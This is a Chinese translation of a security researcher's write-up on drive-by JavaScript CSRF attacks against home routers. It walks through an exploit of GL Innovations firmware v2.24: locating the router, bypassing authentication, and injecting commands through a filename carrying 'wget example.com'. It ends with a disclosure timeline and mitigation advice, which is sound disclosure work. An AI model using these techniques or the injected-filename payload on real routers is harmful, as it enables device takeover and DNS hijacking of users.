首先，讓我們先來了解一下相關的技術背景。
我們都知道NAT（網絡地址轉換）技術，在路由器上被廣泛使用。當你使用NAT路由器時，它會向你的機器自動分配一個廣域網IP，以便讓你的機器在互聯網上唯一且可識別。同時，在你的本地局域網中，它也會隨機地向你分配一個局域網IP。
這樣，每當來自本地局域網的設備向公網發起請求時，路由器便會詳細的記錄該請求是由本地局域網中，哪個設備向哪個服務發起的請求。然后，當它成功從目標服務器獲得響應時，它則會將其轉發回本地局域網中IP所對應的設備。這也意味著，在大多數設置中，指向路由器的未經請求的數據包將被丟棄。
NAT的方法有很多。如圖：
在這里，NAT路由器在嚴格意義上算不上是一個主動防火墻，而是在功能設計上類似于防火墻。本地網絡中的計算機沒有WAN IP，不能從因特網直接路由，因此難以直接定向。這也是大多數家庭網絡和許多小型商業網絡上，最接近防火墻的東西。
有趣的本地局域網JavaScript
我們通常會通過瀏覽器，來訪問互聯網上的各種Web服務器。除此之外，它還可以訪問你本地局域網路由器上的Web服務器。攻擊者通常無法從廣域網直接訪問到這些Web界面，但是由于網頁具有交互性（雖然以有限的方式，由于同源策略的約束），因此在瀏覽器中運行的網頁，也可以向本地網絡中的Web服務器發起請求。如果這些Web服務器存有安全漏洞，那么我們只需在瀏覽器中運行相應的代碼，就可以利用這些漏洞。
當本地的Web服務器缺乏穩健的CSRF（跨站點請求偽造）保護時，路由器將會接收并處理源自其控制之外的非法請求。這意味著，攻擊者可以通過構造一個精心的惡意鏈接或跨站代碼欺騙目標用戶點擊，就可以可直接定位到路由器漏洞頁面，并強制劫持瀏覽器執行我們的惡意js代碼。
其實除了js腳本外，還有許多其它的web語言也可以執行攻擊操作。但我認為，JavaScript是最好的攻擊腳本。
在過去的幾年里，我們發現JavaScript驅動的CSRF漏洞利用工具包，利用路由器進行域欺騙( Pharming )，它們通過修改路由器的DNS設置，試圖將用戶引導到偽造的網站上，并誘使用戶在釣魚站點輸入自己的登錄憑證，竊取用戶隱私數據。在最近的一個案例中我們發現，部分JavaScript漏洞利用代碼被直接隱寫和加密混淆在惡意圖像文件的注釋字段。然后在運行時被解密執行，并利用已知漏洞，更改本地路由器的DNS服務器。此外另個案例顯示，惡意DNS服務器還會強制用戶下載含惡意軟件的Chrome安裝程序。
在2016年年底，一些Netgear路由器被曝出存在遠程命令注入漏洞（CVE-2016-6277）。雖然許多受影響的設備都屬于高端型號，但從這里我們可以看出，Web接口的安全性顯得微不足道。雖然他們實現了CSRF的保護，但這也沒能避免Netgear被攻擊的厄運 –關于這個漏洞，主要問題在于cgi-bin URI只是簡單的交由服務器處理，并且大意地將分號和命令附加到routerlogin.net/cgi-bin/ URI將導致任意代碼執行。
為了更好地了解這些漏洞的工作原理，下面我將以我最近購買和研究的GL Innovations 2.24固件為例。
案例 –GL Innovations固件v2.24 –利用剖析
GLi系列路由器是一款小型的可定制化路由器，主要針對那些想要對他們的Wi-Fi設備進行額外控制，卻不想花費太多錢的用戶。同時，他們的材料也對該路由器的安全性進行了說明，表示他們的路由器可以“避免黑客的入侵”。
所以，我買了一個看看。經過一段時間的研究，我發現了該路由器存在的兩個問題：認證繞過和驗證代碼執行。
下面我將帶大家詳細了解，如何利用JavaScript為這個路由器寫一個完整的exploit。完整利用代碼可以在https://github.com/tests00/gli-js-driveby/找到。
GLi路由器默認登錄IP為192.168.8.1，并分配標準/24范圍內的IP地址。這里我們需要注意，路由器的默認IP和DHCP都可以被輕易的修改，因此不能保證在192.168.8.1一定能找到GLi路由器。
因此，我們接下來的第一步就是獲取我們運行代碼機器的本地IP地址。這里我們使用webRTC，來幫我們獲取本地IP。在某些情況下，這種技術可能無法獲取到精確地本地IP，但通常情況下它可以獲取到IP的前三個字節，這對我們來說其實已經足夠了，我們只需簡單掃描，就能確定/24范圍內的確切本地IP。
使用webRTC來查找主機的本地IP（部分修改）：
雖然通過以上方法我們能找到路由器的IP，但是我們卻無法保證IP地址始終不變。因此，我們需要一種具有一定程度確定性的辦法來解決這個問題。
同源問題
這里有一些問題。由于同源策略對我們的限制，我們不能只彈出iframe并檢查任何頁面加載的內容。因此要突破這個限制，我們可以嘗試加載GLi Web服務器上存放于特定位置的圖片文件。在以下示例中，我將使用一張圖片作為演示。
這個已知的圖片文件，通常被稱為“指紋”，我們可以在JavaScript路由器漏洞利用工具包中找到它。我們可以嘗試將”指紋”與本地路由器匹配，只要有一個能成功匹配，我們就能獲取到本地路由器的IP地址，同時還可以獲取到路由器的制造商和型號信息。
因此，下面我將嘗試從本地網絡的254個可能的IP地址中，來加載我們的已知圖片文件。在GLi上，我們正在尋找位置為http://192.168.20.x/images/75e.png的圖片。當圖片加載時，它將觸發JavaScript的“onload”事件處理程序，該處理程序將告訴我們GLi所在的本地IP地址。現在我們已經知道了路由器確切的IP地址，下面我們就來觸發exploit進行利用。
對C類進行循環遍歷，嘗試圖片查找：
值得一提的是，GLi Web服務器根本沒有開啟CSRF保護。如果它有CSRF保護，那么我們則需要在Web應用程序中，通過查找XSS漏洞來繞過CSRF保護機制。GLi在其最新的2.25版固件中引入了CSRF保護令牌，你可以在文末找到該版本的更新鏈接。
認證繞過
通常在我們對路由器進行初始設置時，路由器都會強制要求用戶設置特定長度的新root密碼。這種機制是非常好的，它可以避免一些用戶將密碼留空或將密碼設置的太過簡單，從而免遭暴力破解的攻擊。
但是不幸的是，這個初始設置功能存在一個安全隱患。只要我們重放初始密碼設置請求，就能任意的設置新的root密碼。不僅如此，經過我們對cookie的測試發現，每次瀏覽器向路由器發送請求，cookie值都未發生改變只是在重復請求。
值得注意的是，即使不存在這樣的認證繞過漏洞，攻擊者也可以通過爆破字典，來對這些沒有CSRF保護的路由器進行暴力破解。
從以下控制臺界面我們可以看到，雖然我們被SOP警告，但請求仍然成功：
代碼注入
現在，我們已經得到了一個有效的登錄cookie，接著我們就可以進行代碼注入了。但是，如果我們直接將代碼注入通常難以被識別。與許多嵌入式設備一樣，GLi也運行自己的“API”- 通過一組存放在/cgi-bin/子目錄中的二進制文件，來發送JSON格式的POST請求進行相應的設置。通常，最簡單的方法是將固件包移植到其組件部分，并查看其內容。因為GLi運行的是OpenWRT的修改版本，因此我們還可以選擇SFTP的方式，轉儲二進制文件。
當有二進制文件，對以root權限運行的Web服務器上的系統設置進行更改時，如果缺乏CSRF的保護，那么將有可能被非法利用。經過我對二進制文件的簡單分析發現，在“openvpn_cgi”二進制文件中，存有一個可利用字段。該字段會對上傳文件的擴展名進行判斷，如果文件擴展名為.zip，它則會嘗試通過將其直接傳遞到命令行來解壓縮。
那么，是否我們可以通過利用一個偽造的.zip文件，來讓其執行我們的注入命令呢？答案是肯定的。例如我們可以這樣來命名文件：“x.zip ’; wget example.com; echo’”，此時讓我們來查看下/tmp/openvpn_upload文件夾，可以看到example.com的主頁已經被成功下載到了該目錄：
以上兩個安全漏洞，我已經通知給了GLi廠商，并且已經被修復。在最新的v2.25版本中，GLi已實現了CSRF令牌保護。因此，如果你當前所使用的固件仍為v2.24，你可以訪問http://www.gl-inet.com/firmware/來獲取當前的最新版固件。
總結
為了盡可能的避免遭受攻擊，我強烈建議大家使用具有CSRF保護的路由設備。雖然，CSRF令牌通常可以利用XSS漏洞繞過。但是至少CSRF保護，可以讓我們避免大多基于JavaScript的攻擊。同時，我們還需要提高我們的安全意識，要知道任何具有Web界面的設備，都有可能遭到類似的攻擊。還有就是，檢查你的路由器DNS設置是否正確。
披露時間表：
15/12/2016 –通知廠商認證繞過漏洞
16/12/2016 –廠商回復
21/12/2016 –廠商修復認證繞過漏洞，測試版固件發布
21/12/2016 - 通知廠商代碼執行漏洞
21/12/2016 –廠商回復
30/12/2016 –廠商修復代碼執行漏洞，并實現CSRF保護，beta版固件發布
11/01/2017 –v2.25固件發布
*參考來源 ：pentestpartners，FB小編 secist 編譯，轉載請注明來自FreeBuf（FreeBuf.COM）
京公網安備 11010502049343號